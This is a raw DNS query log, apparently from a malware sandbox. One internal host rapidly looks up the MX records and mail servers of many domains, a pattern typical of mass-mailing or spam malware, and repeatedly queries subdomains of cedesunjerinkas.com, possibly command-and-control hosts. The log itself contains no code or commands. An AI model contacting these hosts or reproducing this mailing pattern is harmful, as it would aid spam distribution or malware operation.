Jan 7, 2022 15:43:20.438932896 CET	192.168.2.6	8.8.8.8	0x684e	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.626142025 CET	192.168.2.6	8.8.8.8	0xb753	Standard query (0)	contoso.es	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.683140039 CET	192.168.2.6	8.8.8.8	0xf807	Standard query (0)	aspmx4.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.712779045 CET	192.168.2.6	8.8.8.8	0x8f6c	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.755891085 CET	192.168.2.6	8.8.8.8	0x6db6	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.800452948 CET	192.168.2.6	8.8.8.8	0xccd6	Standard query (0)	aspmx5.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.831774950 CET	192.168.2.6	8.8.8.8	0xdbaf	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.876264095 CET	192.168.2.6	8.8.8.8	0xb8bf	Standard query (0)	contoso.mx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:21.860972881 CET	192.168.2.6	8.8.8.8	0x6f37	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:21.913419962 CET	192.168.2.6	8.8.8.8	0xa984	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:22.360483885 CET	192.168.2.6	8.8.8.8	0xbf85	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:22.379381895 CET	192.168.2.6	8.8.8.8	0xe708	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:23.111164093 CET	192.168.2.6	8.8.8.8	0xea2a	Standard query (0)	litwareinc.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:23.149930000 CET	192.168.2.6	8.8.8.8	0x8f46	Standard query (0)	smtp.litwareinc.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:24.096879959 CET	192.168.2.6	8.8.8.8	0x6e44	Standard query (0)	oopp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:24.118719101 CET	192.168.2.6	8.8.8.8	0x2848	Standard query (0)	oopp.pl	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:25.173955917 CET	192.168.2.6	8.8.8.8	0x382c	Standard query (0)	wewew.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:25.376496077 CET	192.168.2.6	8.8.8.8	0x26	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:25.398766994 CET	192.168.2.6	8.8.8.8	0xf89a	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:25.836107969 CET	192.168.2.6	8.8.8.8	0xacdd	Standard query (0)	riekk.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:26.370434046 CET	192.168.2.6	8.8.8.8	0x24a5	Standard query (0)	fafa.pk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:27.219167948 CET	192.168.2.6	8.8.8.8	0xdb6d	Standard query (0)	xara.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:28.107445955 CET	192.168.2.6	8.8.8.8	0x2ce3	Standard query (0)	lufka.zx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:29.361351967 CET	192.168.2.6	8.8.8.8	0x7909	Standard query (0)	fanfary.pq	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:29.539760113 CET	192.168.2.6	8.8.8.8	0x9885	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:30.558710098 CET	192.168.2.6	8.8.8.8	0x5455	Standard query (0)	fajrant.qz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:31.803256035 CET	192.168.2.6	8.8.8.8	0x16b8	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:31.862652063 CET	192.168.2.6	8.8.8.8	0x3f78	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:37.152224064 CET	192.168.2.6	8.8.8.8	0xc8ae	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:37.175035954 CET	192.168.2.6	8.8.8.8	0xc11	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:38.881272078 CET	192.168.2.6	8.8.8.8	0x6037	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:38.901932001 CET	192.168.2.6	8.8.8.8	0xb421	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:39.535157919 CET	192.168.2.6	8.8.8.8	0x4224	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:39.558978081 CET	192.168.2.6	8.8.8.8	0x6ef8	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.214488983 CET	192.168.2.6	8.8.8.8	0x2ac7	Standard query (0)	contoso.es	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.239933014 CET	192.168.2.6	8.8.8.8	0xf220	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.295135975 CET	192.168.2.6	8.8.8.8	0x1959	Standard query (0)	aspmx4.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.362339973 CET	192.168.2.6	8.8.8.8	0x6193	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.383927107 CET	192.168.2.6	8.8.8.8	0x7a3	Standard query (0)	aspmx5.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.407999039 CET	192.168.2.6	8.8.8.8	0x758	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.413594007 CET	192.168.2.6	8.8.8.8	0x528e	Standard query (0)	contoso.mx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.900885105 CET	192.168.2.6	8.8.8.8	0x7170	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.925493002 CET	192.168.2.6	8.8.8.8	0x1ab7	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:41.125257969 CET	192.168.2.6	8.8.8.8	0x33ed	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:41.629188061 CET	192.168.2.6	8.8.8.8	0x6661	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:41.637233973 CET	192.168.2.6	8.8.8.8	0xe6a7	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:41.651644945 CET	192.168.2.6	8.8.8.8	0x5cf	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:41.690903902 CET	192.168.2.6	8.8.8.8	0x9b5d	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:41.758630037 CET	192.168.2.6	8.8.8.8	0xded5	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:42.112493992 CET	192.168.2.6	8.8.8.8	0x2b41	Standard query (0)	cohowinery.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.191052914 CET	192.168.2.6	8.8.8.8	0x437b	Standard query (0)	negdje.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.237344027 CET	192.168.2.6	8.8.8.8	0xe37e	Standard query (0)	abcdef.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.269172907 CET	192.168.2.6	8.8.8.8	0x851b	Standard query (0)	vlada.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.300817966 CET	192.168.2.6	8.8.8.8	0xf343	Standard query (0)	mail.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:42.346142054 CET	192.168.2.6	8.8.8.8	0xd450	Standard query (0)	ma-01.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:42.404360056 CET	192.168.2.6	8.8.8.8	0x93d2	Standard query (0)	ma-02.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.128767014 CET	192.168.2.6	8.8.8.8	0x989a	Standard query (0)	netko.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.158951044 CET	192.168.2.6	8.8.8.8	0x2c2c	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.159605026 CET	192.168.2.6	8.8.8.8	0x77e7	Standard query (0)	tvrtka.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.180948019 CET	192.168.2.6	8.8.8.8	0x95dd	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.190839052 CET	192.168.2.6	8.8.8.8	0x2dce	Standard query (0)	dva.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.265500069 CET	192.168.2.6	8.8.8.8	0x7ac8	Standard query (0)	mail.dva.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.345665932 CET	192.168.2.6	8.8.8.8	0x53f5	Standard query (0)	litwareinc.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.377407074 CET	192.168.2.6	8.8.8.8	0x6077	Standard query (0)	smtp.litwareinc.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.481628895 CET	192.168.2.6	8.8.8.8	0x52c0	Standard query (0)	arb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.520895004 CET	192.168.2.6	8.8.8.8	0xa713	Standard query (0)	antispam.hosting-zdarma.cz	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.628204107 CET	192.168.2.6	8.8.8.8	0xe0dc	Standard query (0)	abcdefg.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.660595894 CET	192.168.2.6	8.8.8.8	0xad2a	Standard query (0)	ektro.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.708869934 CET	192.168.2.6	8.8.8.8	0x66bd	Standard query (0)	fb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:43.744235992 CET	192.168.2.6	8.8.8.8	0xf690	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.768249035 CET	192.168.2.6	8.8.8.8	0x65e	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.790359974 CET	192.168.2.6	8.8.8.8	0x6b48	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.811547995 CET	192.168.2.6	8.8.8.8	0xecfa	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.835968018 CET	192.168.2.6	8.8.8.8	0x5929	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:44.317611933 CET	192.168.2.6	8.8.8.8	0xd4b9	Standard query (0)	tek-astore.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:44.347033024 CET	192.168.2.6	8.8.8.8	0x56db	Standard query (0)	somemail.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:44.410175085 CET	192.168.2.6	8.8.8.8	0x3ed1	Standard query (0)	abc.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:44.432987928 CET	192.168.2.6	8.8.8.8	0x3f3a	Standard query (0)	cluster10.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:44.462632895 CET	192.168.2.6	8.8.8.8	0x351a	Standard query (0)	cluster10a.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.173934937 CET	192.168.2.6	8.8.8.8	0xe119	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.192481041 CET	192.168.2.6	8.8.8.8	0x317	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.534399986 CET	192.168.2.6	8.8.8.8	0x4a5a	Standard query (0)	emaiserver.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.565864086 CET	192.168.2.6	8.8.8.8	0x603a	Standard query (0)	oricine.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.596981049 CET	192.168.2.6	8.8.8.8	0xd7f8	Standard query (0)	worldwideoffices.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.644890070 CET	192.168.2.6	8.8.8.8	0xe9c0	Standard query (0)	cineva.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.673516989 CET	192.168.2.6	8.8.8.8	0x1f6e	Standard query (0)	mail.h-email.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.800374985 CET	192.168.2.6	8.8.8.8	0x34af	Standard query (0)	orice.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:45.837215900 CET	192.168.2.6	8.8.8.8	0x7e56	Standard query (0)	mxbck.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:45.880819082 CET	192.168.2.6	8.8.8.8	0x267	Standard query (0)	mx.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:49.038301945 CET	192.168.2.6	8.8.8.8	0x4c00	Standard query (0)	orice.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:49.301280022 CET	192.168.2.6	8.8.8.8	0xeef6	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:49.323765993 CET	192.168.2.6	8.8.8.8	0xd1fd	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:49.848984957 CET	192.168.2.6	8.8.8.8	0xc5e0	Standard query (0)	ppp.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:49.907402039 CET	192.168.2.6	8.8.8.8	0xed10	Standard query (0)	ppp.ro	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:50.892600060 CET	192.168.2.6	8.8.8.8	0xd8e4	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:52.678565025 CET	192.168.2.6	8.8.8.8	0x6af7	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:52.968310118 CET	192.168.2.6	8.8.8.8	0xde7d	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:54.147964001 CET	192.168.2.6	8.8.8.8	0x654e	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:56.166539907 CET	192.168.2.6	8.8.8.8	0xd5be	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:56.173378944 CET	192.168.2.6	8.8.8.8	0x3318	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:56.759716988 CET	192.168.2.6	8.8.8.8	0x75f9	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.118297100 CET	192.168.2.6	8.8.8.8	0x325c	Standard query (0)	domini.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.139385939 CET	192.168.2.6	8.8.8.8	0x98aa	Standard query (0)	domini-cat.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.568048000 CET	192.168.2.6	8.8.8.8	0xac8e	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.613672972 CET	192.168.2.6	8.8.8.8	0xf8e5	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.635853052 CET	192.168.2.6	8.8.8.8	0xd195	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.656919003 CET	192.168.2.6	8.8.8.8	0x9994	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.676279068 CET	192.168.2.6	8.8.8.8	0x202f	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.698309898 CET	192.168.2.6	8.8.8.8	0xdba3	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:57.948753119 CET	192.168.2.6	8.8.8.8	0x8e8e	Standard query (0)	openssl.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:57.971618891 CET	192.168.2.6	8.8.8.8	0xc892	Standard query (0)	mta.openssl.org	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:59.819438934 CET	192.168.2.6	8.8.8.8	0xb3b0	Standard query (0)	cryptsoft.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:59.945239067 CET	192.168.2.6	8.8.8.8	0x65ad	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:59.964792967 CET	192.168.2.6	8.8.8.8	0x65cf	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:59.985866070 CET	192.168.2.6	8.8.8.8	0xf662	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:00.004941940 CET	192.168.2.6	8.8.8.8	0x4996	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:00.023852110 CET	192.168.2.6	8.8.8.8	0x42c7	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:00.749862909 CET	192.168.2.6	8.8.8.8	0xbf28	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:00.770840883 CET	192.168.2.6	8.8.8.8	0x3e5e	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:01.202178001 CET	192.168.2.6	8.8.8.8	0xb0da	Standard query (0)	cohowinery.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.253180981 CET	192.168.2.6	8.8.8.8	0xc97b	Standard query (0)	negdje.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.290532112 CET	192.168.2.6	8.8.8.8	0x7100	Standard query (0)	abcdef.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.322897911 CET	192.168.2.6	8.8.8.8	0x53a4	Standard query (0)	vlada.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:01.364063025 CET	192.168.2.6	8.8.8.8	0x3da0	Standard query (0)	ma-02.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:01.409646034 CET	192.168.2.6	8.8.8.8	0x92d3	Standard query (0)	mail.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:01.461117983 CET	192.168.2.6	8.8.8.8	0x9eab	Standard query (0)	ma-01.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:02.093135118 CET	192.168.2.6	8.8.8.8	0x2daa	Standard query (0)	netko.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:02.119108915 CET	192.168.2.6	8.8.8.8	0x30c0	Standard query (0)	tvrtka.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:02.149952888 CET	192.168.2.6	8.8.8.8	0xcda3	Standard query (0)	dva.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:02.195425987 CET	192.168.2.6	8.8.8.8	0xad72	Standard query (0)	mail.dva.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.015481949 CET	192.168.2.6	8.8.8.8	0x75b2	Standard query (0)	arb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.057224989 CET	192.168.2.6	8.8.8.8	0xf1f6	Standard query (0)	antispam.hosting-zdarma.cz	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.165369034 CET	192.168.2.6	8.8.8.8	0xaf2b	Standard query (0)	abcdefg.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.202697992 CET	192.168.2.6	8.8.8.8	0xf08a	Standard query (0)	ektro.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.220568895 CET	192.168.2.6	8.8.8.8	0x9647	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.228105068 CET	192.168.2.6	8.8.8.8	0x202	Standard query (0)	fb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.259582043 CET	192.168.2.6	8.8.8.8	0xf1de	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.279690027 CET	192.168.2.6	8.8.8.8	0xdfa0	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.298716068 CET	192.168.2.6	8.8.8.8	0x4d25	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.336478949 CET	192.168.2.6	8.8.8.8	0xac6b	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.356969118 CET	192.168.2.6	8.8.8.8	0xfda5	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:03.936980963 CET	192.168.2.6	8.8.8.8	0x6882	Standard query (0)	tek-astore.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.962876081 CET	192.168.2.6	8.8.8.8	0xc183	Standard query (0)	somemail.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:03.993822098 CET	192.168.2.6	8.8.8.8	0x5b8b	Standard query (0)	abc.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.014892101 CET	192.168.2.6	8.8.8.8	0xd808	Standard query (0)	cluster10.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.039742947 CET	192.168.2.6	8.8.8.8	0x165f	Standard query (0)	cluster10a.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.109380960 CET	192.168.2.6	8.8.8.8	0x4a47	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.323685884 CET	192.168.2.6	8.8.8.8	0x5d0d	Standard query (0)	pobox.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.392168045 CET	192.168.2.6	8.8.8.8	0xc4da	Standard query (0)	pb-mx21.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.425091028 CET	192.168.2.6	8.8.8.8	0x2fde	Standard query (0)	pb-mx9.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.445502043 CET	192.168.2.6	8.8.8.8	0x2d6d	Standard query (0)	pb-mx23.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.467199087 CET	192.168.2.6	8.8.8.8	0x3889	Standard query (0)	pb-mx10.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.488101006 CET	192.168.2.6	8.8.8.8	0xeb8a	Standard query (0)	pb-mx14.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.510410070 CET	192.168.2.6	8.8.8.8	0x643f	Standard query (0)	pb-mx22.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.517729998 CET	192.168.2.6	8.8.8.8	0xf378	Standard query (0)	emaiserver.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.534832001 CET	192.168.2.6	8.8.8.8	0xff11	Standard query (0)	pb-mx11.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.556199074 CET	192.168.2.6	8.8.8.8	0xd488	Standard query (0)	oricine.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.558319092 CET	192.168.2.6	8.8.8.8	0xd7a3	Standard query (0)	pb-mx20.pobox.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.588345051 CET	192.168.2.6	8.8.8.8	0x5e3c	Standard query (0)	worldwideoffices.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.618719101 CET	192.168.2.6	8.8.8.8	0xfc7e	Standard query (0)	cineva.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.643781900 CET	192.168.2.6	8.8.8.8	0xe149	Standard query (0)	mail.h-email.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.734097004 CET	192.168.2.6	8.8.8.8	0x9fab	Standard query (0)	orice.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:04.755542040 CET	192.168.2.6	8.8.8.8	0x74b2	Standard query (0)	mx.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:04.792331934 CET	192.168.2.6	8.8.8.8	0x7199	Standard query (0)	mxbck.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:05.081171036 CET	192.168.2.6	8.8.8.8	0x42ee	Standard query (0)	orice.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:05.197699070 CET	192.168.2.6	8.8.8.8	0x1ae	Standard query (0)	ppp.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:05.223171949 CET	192.168.2.6	8.8.8.8	0x2c37	Standard query (0)	ppp.ro	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.515991926 CET	192.168.2.6	8.8.8.8	0x41f6	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.541315079 CET	192.168.2.6	8.8.8.8	0xccaa	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.572679996 CET	192.168.2.6	8.8.8.8	0xdcff	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.603293896 CET	192.168.2.6	8.8.8.8	0xa667	Standard query (0)	domini.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.626044035 CET	192.168.2.6	8.8.8.8	0x5dad	Standard query (0)	netcom.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.631593943 CET	192.168.2.6	8.8.8.8	0xabcd	Standard query (0)	domini-cat.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.651308060 CET	192.168.2.6	8.8.8.8	0xae61	Standard query (0)	mx01.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.670943022 CET	192.168.2.6	8.8.8.8	0x26f8	Standard query (0)	mx02.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.696614027 CET	192.168.2.6	8.8.8.8	0xeeac	Standard query (0)	mx03.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.717619896 CET	192.168.2.6	8.8.8.8	0x3012	Standard query (0)	mx04.oxsus-vadesecure.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.797015905 CET	192.168.2.6	8.8.8.8	0xcd45	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:06.844898939 CET	192.168.2.6	8.8.8.8	0x3cdd	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.866395950 CET	192.168.2.6	8.8.8.8	0xc086	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.887295008 CET	192.168.2.6	8.8.8.8	0x6c87	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.909663916 CET	192.168.2.6	8.8.8.8	0x466c	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:06.932528019 CET	192.168.2.6	8.8.8.8	0x167b	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:44:07.719182014 CET	192.168.2.6	8.8.8.8	0xf66a	Standard query (0)	openssl.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:44:07.738177061 CET	192.168.2.6	8.8.8.8	0x550	Standard query (0)	mta.openssl.org	A (IP address)	IN (0x0001)
